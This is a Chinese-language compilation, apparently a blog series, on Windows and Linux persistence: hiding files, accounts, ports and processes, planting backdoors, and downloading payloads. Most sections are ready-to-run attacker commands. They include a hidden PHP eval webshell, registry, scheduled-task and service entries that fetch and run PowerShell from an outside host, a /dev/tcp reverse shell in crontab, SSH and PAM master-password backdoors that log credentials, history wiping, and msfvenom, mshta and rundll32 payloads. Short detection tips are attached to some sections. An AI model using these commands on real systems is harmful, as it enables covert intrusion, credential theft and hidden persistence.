学习一下应急响应之权限维持。

应急响应

Windows权限维持–隐藏篇

0x00 前言

攻击者在获取服务器权限后,通常会用一些后门来维持权限,如果你想让你的后门保持的更久些,那么请隐藏好它,使之不易被管理员发现。

0x01 隐藏文件

1、利用文件属性

最简单的一种隐藏文件的方式,文件右键属性,勾选隐藏,点击确定后,在这个文件里看不到刚刚的文件了。

如果要让文件显示出来,就点击查看,勾选显示隐藏的文件,文件就显示出来。

如何真正隐藏文件?

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r D:\test\project\test.txt

这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。

破解隐藏文件:

打开电脑文件夹选项卡,取消”隐藏受保护的操作系统文件“勾选,把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。

2、利用ADS隐藏文件内容

​ 在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:  

1
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。 

1
2
3
4
5
6
7
问题1:如何查看index.php:hidden.jpg内容呢?

   进入文件所在目录,notepad index.php:hidden.jpg 或者 dir /r
  
问题2:如何删除index.php:hidden.jpg?

直接删除index.php即可

3、驱动级文件隐藏

驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker

下载链接: http://www.xoslab.com/efl.html

如果你在网站目录未查找到相关文件,且系统目录存在存在以下文件:

1
2
3
4
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

那么你,应该是遭遇了驱动级文件隐藏。

如何清除?

1
2
3
4
1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。

隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。

这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”攻击,这种方式极难被发现。

0x02 隐藏账号

window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为“test$”,密码为“abc123!”的简单隐藏账户,并且把该隐藏账户提升为了管理员权限。

PS:CMD命令行使用”net user”,看不到”test$”这个账号,但在控制面板和本地用户和组是可以显示此用户的。

克隆账号制作过程:

1、“开始”→“运行”,输入“regedt32.exe”后回车,需要到“HKEY_LOCAL_MACHINE\SAM\SAM”,单机右建权限,把名叫:administrator的用户给予:完全控制以及读取的权限,在后面打勾就行,然后关闭注册表编辑器,再次打开即可。

2、来到注册表编辑器的“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”处,点击test$用户,得到在右边显示的键值中的“类型”一项显示为0x3ec,找到箭头所指目录。

3、找到administrator所对应的的项为“000001F4”,将“000001F4”的F值复制到“000003EC”的F值中,保存。

4、分别test$和“000003EC导出到桌面,删除test$用户 net user test$ /del

5、将刚才导出的两个后缀为.reg的注册表项导入注册表中。这样所谓的隐藏账户就创建好了。PS:不管你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test$这个账户的,只有在注册表中才能看得到。

检测和清理方法:

使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号。

0x03 端口复用

通过端口复用来达到隐藏端口的目的,在Window下,如何实现端口复用呢?

前阵子,@Twi1ight公布了一种基于内置系统服务的端口复用后门方法,利用WinRM服务,一条命令实现端口复用后门:

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

一般开启WinRM服务作为远程管理,但还是第一次听到可以作为端口复用,一种简单容易实现的端口复用方式。假设,攻击者已获取到administrator账号密码,连接远程WinRM服务执行命令:

当执行这条命令的同时,将在安全日志中留下痕迹,

另外,可以通过代码实现端口复用重定向,工具:https://github.com/crabkun/Switcher

0x04 进程注入

进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。在常见的渗透测试框架中,进程注入是怎么做的以及我们如何通过工具排查出来?

1、meterpreter会话注入

当前权限无法获取hash值,查看目前系统进程

通过migrate将进程注入到system进程后,成功获得hash值。

Window后门排查:

通过TCPview显示已建立的TCP连接,我们可以看到异常的连接,同时,恶意软件将以绿色显示不到一秒钟,然后变成红色消失,如此循环。

2、Empire会话进程注入

通过psinject模块进行会话注入,直接输入ps选择一个SYSTEM权限的进程PID,使用进程注入模块,来获取权限。如下图:

Window后门排查:利用process monitor或者火绒剑监控进程都可以定位到注入进程。

3、Cobalt Strike进程注入

选择进程,点击inject,随后选择监听器,点击choose,即可发现Cobaltstrike弹回了目标机的一个新会话,这个会话就是成功注入到某进程的beacon。

Window后门排查:利用process monitor捕捉通信过程,有规律的请求取决于sleep设置的间隔。

0x05 结束

本文主要介绍了Window下的几种隐藏技术,包括隐藏文件、隐藏账号、端口复用、进程注入等方面的简单实现及其排查技巧。仅作抛砖引玉之用,欢迎留言分享。

Windows权限维持–后门篇

关键词:Windows系统后门、权限维持

在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者便如入无人之境。本文将对常见的window服务端自启动后门技术进行解析,知己知彼方能杜绝后门。

0x01 注册表自启动

通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。

常用的注册表启动键:

1
2
3
4
5
6
7
8
9
# Run键 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Winlogon\Userinit键
HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon

类似的还有很多,关键词:注册表启动键值。

使用以下命令可以一键实现无文件注册表后门:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f

Logon Scripts 后门

注册表路径:HKEY_CURRENT_USER\Environment\

创建字符串键值: UserInitMprLogonScript,键值设置为bat的绝对路径:c:\test.bat

userinit后门

在用户进行登陆时,winlogon运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。

利用USERINIT注册表键实现无文件后门:

1
2
3
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

"Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""

0x02 组策略设置脚本启动

运行gpedit.msc进入本地组策略,通过Windows设置的“脚本(启动/关机)”项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。

容易遇到的问题:脚本需全路径,如C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

0x03 计划任务

通过window系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。

使用以下命令可以一键实现:

1
schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.28.142:8888/logo.gif\"\"\"))\""

容易遇到的问题:cmd命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。

计划脚本每 1 分钟运行一次。

0x04 服务自启动

通过服务设置自启动,结合powershell实现无文件后门。

使用以下命令可实现:

1
2
3
4
5
sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""

sc description KeyName "Just For Test" //设置服务的描述字符串
sc config Name start= auto //设置这个服务为自动启动
net start Name //启动服务

成功创建了一个自启动服务

0x05 WMI后门

在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。这里可以利用一个工具powersploit,下面用它的Persistence模块来示范一个简单的例子。

1
2
3
4
Import-Module .\Persistence\Persistence.psm1
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

0x06 dll劫持

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。

比较常用的如LPK.dll的劫持:

win7及win7以上系统增加了KnownDLLs保护,需要在注册表:

1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls

下添加 “lpk.dll” 才能顺利劫持:

0x07 COM劫持

利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。这种方法可以绕过Autoruns对启动项的检测。

0x08 远程控制

远控木马是一种恶意程序,其中包括在目标计算机上用于管理控制的后门。远程访问木马通常与用户请求的程序(如游戏程序)一起,是一种看不见的下载,或作为电子邮件附件发送。一旦主机系统被攻破,入侵者可以利用它来向其他易受感染的计算机分发远程访问木马,从而建立僵尸网络。

一般分为客户端和服务端,如:灰鸽子、上兴远控、梦想时代、QuasarRAT等。

0x09 结束语

未知攻焉知防,本文分享了几种Window下的自动启权限维持技术。管理员在平时运维过程应当保持警惕,掌握一定的入侵排查技巧,及时进行系统补丁更新,定期对服务器安全检查,才能有效地预防后门。

Linux权限维持–隐藏篇

0x00 前言

攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍Linux下的几种隐藏技术。

0x01 隐藏文件

Linux 下创建一个隐藏文件:touch .test.txt

touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件,如下图:

一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al

这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如/temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/

0x02 隐藏文件时间戳

Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。

比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。

利用方法

touch -r index.php webshell.php

或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。

touch -t 1401021042.30 webshell.php

0x03 隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多新手朋友感到头疼。

1
2
3
4
chattr +i evil.php 锁定文件
lsattr evil.php 属性查看
chattr -i evil.php 解除锁定
rm -rf 1.evil.php 删除文件

0x04 隐藏历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

技巧一:只针对你的工作关闭历史记录

1
2
[space]set +o history
备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

1
2
[Space]set -o history
它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:

1
history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

1
history -d [num]

这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:

1
sed -i '150,$d' .bash_history

0x05 隐藏远程SSH登陆记录

#隐身登录系统,不会被w、who、last等指令检测到。

1
ssh -T root@127.0.0.1 /bin/bash -i

不记录ssh公钥在本地.ssh目录中

1
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

0x06 端口复用

通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?

第一种方式:通过SSLH在同一端口上共享SSH与HTTPS

1
2
3
4
5
6
7
8
#安装SSLH
sudo apt-get install sslh
#配置SSLH
编辑 SSLH 配置文件:
sudo vi /etc/default/sslh
1、找到下列行:Run=no 将其修改为:Run=yes
2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

第二种方式:利用IPTables进行端口复用

1
2
3
4
5
6
7
8
9
10
# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

利用方式:

1
2
3
4
5
6
#开启复用
echo threathuntercoming | socat - tcp:192.168.28.128:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.28.128
#关闭复用
echo threathunterleaving | socat - tcp:192.168.28.128:80

具体文章详见:远程遥控 IPTables 进行端口复用

0x07 进程隐藏

管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。

第一种方法:libprocesshider

github项目地址:https://github.com/gianlucaborello/libprocesshider

利用 LD_PRELOAD 来实现系统函数的劫持,实现如下

1
2
3
4
5
6
7
# 下载程序编译
git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider/ && make
# 移动文件到/usr/local/lib/目录下
cp libprocesshider.so /usr/local/lib/
# 把它加载到全局动态连接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

测试:运行 evil_script.py,

此时发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。

如何在Linux中发现隐藏的进程,

unhide 是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在Linux,UNIX类,MS-Windows等操作系统下都可以工作。

下载地址:http://www.unhide-forensics.info/

1
2
3
4
# 安装
sudo yum install unhide
# 使用
unhide [options] test_list

使用unhide proc发现隐藏进程evil_script.py,如下图所示:

第二种方法:进程注入工具linux-inject

linux-inject是用于将共享对象注入Linux进程的工具

github项目地址: https://github.com/gaffe23/linux-inject.git

1
2
3
4
5
6
7
# 下载程序编译
git clone https://github.com/gaffe23/linux-inject.git
cd linux-inject && make
# 测试进程
./sample-target
# 进程注入
./inject -n sample-target sample-library.so

验证进程注入成功,如下图所示:

Cymothoa是一款隐秘的后门工具。它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限。该工具最大的优点就是不创建新的进程,不容易被发现。

下载地址:https://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/

1
2
3
4
5
6
7
# 下载解压
wget https://jaist.dl.sourceforge.net/project/cymothoa/cymothoa-1-beta/cymothoa-1-beta.tar.gz
tar zxvf cymothoa-1-beta.tar.gz
#
cd cymothoa-1-beta && make


0x07 结语

本文主要介绍了Linux下的几种隐藏技术,包括隐藏文件、隐藏权限、隐藏历史操作命令、端口复用、进程隐藏等方面的技巧。仅作抛砖引玉之用,欢迎留言分享。

Linux权限维持–后门篇

本文将对Linux下常见的权限维持技术进行解析,知己知彼百战不殆。

0x01 一句话添加用户和密码

添加普通用户:

1
2
3
4
5
6
7
8
9
10
11
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest

# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest

# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd

# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

添加root用户:

1
2
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

可疑用户排查技巧:

1
2
3
4
5
6
# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

0x02 SUID Shell

Suid shell是一种可用于以拥有者权限运行的shell。

1
2
3
配合普通用户权限使用
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

使用guest用户登录就可疑获取root权限。

备注:bash2针对suid做了一些防护措施,需要使用-p参数来获取一个root shell。另外,普通用户执行这个SUID shell时,一定要使用全路径。

排查技巧:

1
2
3
4
5
6
# 在Linux中查找SUID设置的文件
find . -perm /4000
# 在Linux中查找使用SGID设置的文件
find . -perm /2000
# 取消s权限
chmod u-s /tmp/shell

0x03 ssh公私钥免密登录

在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。

客户端:

1
ssh-keygen -t rsa

过程中按三次回车,执行结束如下图:

进入/root/.ssh/文件夹,查看文件夹的内容,如下所示:

其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。

排查技巧:查看/root/.ssh/authorized_keys是否被修改。

0x04 软连接

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。

在目标服务器上执行一句话后门:

1
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

执行完之后,任何一台机器ssh root@IP -p 8888,输入任意密码,成功登录。

排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。

0x05 SSH wrapper

首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

服务端:

1
2
3
4
5
6
7
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

客户端:

1
2
3
4
5
6
7
8
9
10
socat STDIO TCP4:target_ip:22,sourceport=13377

#如果你想修改源端口,可以用python的struct标准库实现。其中x00x00LF是19526的大端形式,便于传输和处理。
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A

排查技巧:

1
2
3
# ls -al /usr/sbin/sshd
# cat /usr/sbin/sshd
可通过重装ssh服务恢复。

0x06 strace后门

通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。

1
2
3
#vim /etc/bashrc
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
# source /root/.bashrc

排查技巧:使用alias即可发现异常。

0x07 crontab反弹shell

crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

a、创建shell脚本,例如在/etc/evil.sh

1
2
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1

chmod +sx /etc/evil.sh

b、crontab -e 设置定时任务

1
2
#每一分钟执行一次
*/1 * * * * root /etc/evil.sh

重启crond服务,service crond restart,然后就可以用nc接收shell。

排查技巧:

1
2
# 查看可疑的定时任务列表
crontab -e

0x08 openssh后门

利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
a、备份SSH配置文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

b、解压并安装补丁
tar zxf openssh-5.9p1.tar.gz
tar zxf openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff

c、记录用户名和密码的文件位置及其密码
vi includes.h
#define ILOG "/tmp/1.txt" //记录登录本机的用户名和密码
#define OLOG "/tmp/2.txt" //记录本机登录远程的用户名和密码
#define SECRETPW "123456789" //后门的密码

d、修改版本信息
vi version.h
#define SSH_VERSION "填入之前记下来的版本号,伪装原版本"
#define SSH_PORTABLE "小版本号"

e、安装并编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make clean
make && make install
service sshd restart

f、对比原来的配置文件,使配置文件一致,然后修改文件日期。

touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config

g、清除操作记录
export HISTFILE=/dev/null
export HISTSIZE=0
echo >/root/.bash_history //清空操作日志

排查技巧:利用strace找出ssh后门.

1
2
3
4
5
6
7
# 1、获取可疑进程PI
ps aux | grep sshd
# 2、跟踪sshd PID
strace -o aa -ff -p PID
# 3、查看记录密码打开文件
grep open sshd* | grep -v -e No -e null -e denied| grep WR

0x09 PAM后门

PAM (Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX 9.0等。

利用方法:

1
2
3
4
1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、解压缩,修改pam_unix_auth.c文件,添加万能密码
3、编译安装PAM
4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即可使用万能密码登陆,并将用户名密码记录到文件中。

排查技巧:

1
2
3
4
5
6
7
# 1、通过Strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
# 2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so #32位
stat /lib64/security/pam_unix.so #64位

0x010 rookit后门

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。

利用方法:安装完成后,使用ssh 用户@IP -P 配置的端口,即可远程登录。

连接后的截图:

排查技巧:查看端口是否异常,RPM check查看命令是否被替换。

Windows命令行文件下载方式汇总

当我们通过Web渗透获取了一个Shell,而且目标主机是Windows,我们该怎么去下载后门文件到目标主机上执行呢?

一般来说,实现Windows文件下载执行的方式不外乎以下几种方式。第一种,远程下载文件到本地,然后再执行;第二种,远程下载执行,执行过程没有二进制文件落地,这种方式已然成为后门文件下载执行的首要方式****。另外呢,只要你所在服务器的环境支持,你也可以通过任何一门语言来实现它,这种方式暂不在本文的讨论范围之内。

在这里,****本文收集了15种常见的文件下载执行的方式,并结合具体案例,让我们一起来看看是怎么实现的吧。


  • PowerShell
  • Bitsadmin
  • certutil
  • wget
  • ipc$文件共享
  • FTP
  • TFTP
  • WinScp
  • msiexec
  • IEExec
  • mshta
  • rundll32
  • regsvr32
  • MSXSL.EXE
  • pubprn.vbs

0x01 PowerShell

PowerShell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用。

远程下载文件保存在本地:

1
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')

远程执行命令:

1
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"

0x02 Bitsadmin

bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。

1
bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt

输入以上命令,成功下载文件。

0x03 certutil

用于备份证书服务,支持xp-win10都支持。由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。

注:缓存目录为:”%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content”

1
2
3
4
#下载文件
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
#删除缓存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete

0x04 wget

Windows环境下,可上传免安装的可执行程序wget.exe到目标机器,使用wget下载文件。

wget.exe下载:https://eternallybored.org/misc/wget/

1
wget -O "evil.txt" http://192.168.28.128/imag/evil.txt

0x05 ipc$文件共享

IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

1
2
3
4
#建立远程IPC连接
net use \\192.168.28.128\ipc$ /user:administrator "abc123!"
#复制远程文件到本地主机
copy \\192.168.28.128\c$\2.txt D:\test

**0x06 FTP **

一般情况下攻击者使用FTP上传文件需要很多交互的步骤,下面这个 bash脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。

1
2
3
4
5
ftp 127.0.0.1
username
password
get file
exit

0x07 TFTP

用来下载远程文件的最简单的网络协议,它基于UDP协议而实现

tftp32服务端下载地址:http://tftpd32.jounin.net/tftpd32_download.html

1
tftp -i 你的IP get 要下载文件 存放位置

0x08 WinScp

WinSCP是一个Windows环境下使用SSH的开源图形化SFTP客户端。

1
2
3
4
5
#上传
winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "put D:\1.txt /tmp/" "exit" /log=log_file.txt

#下载
winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "get /tmp D:\test\app\" "exit" /log=log_file.tx

使用winscp.exe 作为命令行参数执行远程上传/下载操作。

0x09 msiexec

msiexec 支持远程下载功能,将msi文件上传到服务器,通过如下命令远程执行:

1
2
3
4
#生成msi包
msfvenom -p windows/exec CMD='net user test abc123! /add' -f msi > evil.msi
#远程执行
msiexec /q /i http://192.168.28.128/evil.msi

成功添加了一个test用户:

0x10 IEExec

IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。

生成Payload:

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.131 lport=4444 -f exe -o evil.exe

使用管理员身份打开cmd,分别运行下面两条命令。

1
2
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s off
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe

0x11 mshta

mshta用于执行.hta文件,而hta是HTML Applocation 的缩写,也就是HTML应用程序。而hta中也支持VBS。所以我们可以利用hta来下载文件。

1
mshta http://192.168.28.128/run.hta

run.hta内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c net user test password /add" // 这里填写命令
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>

0x12 rundll32

其实还是依赖于WScript.shell这个组件,在这里我们使用JSRat来做演示,JSRat是一个命令和控制框架,仅为rundll32.exe和regsvr32.exe生成恶意程序。

项目地址:https://github.com/Hood3dRob1n/JSRat-Py.git

步骤一:开始运行JSRat,监听本地8888端口。

步骤二:通过url访问,可以查看恶意代码。

复制代码如下:

1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

步骤三:在受害者PC运行该代码,将成功返回一个会话,如下图所示:

**0x13 regsvr32 **

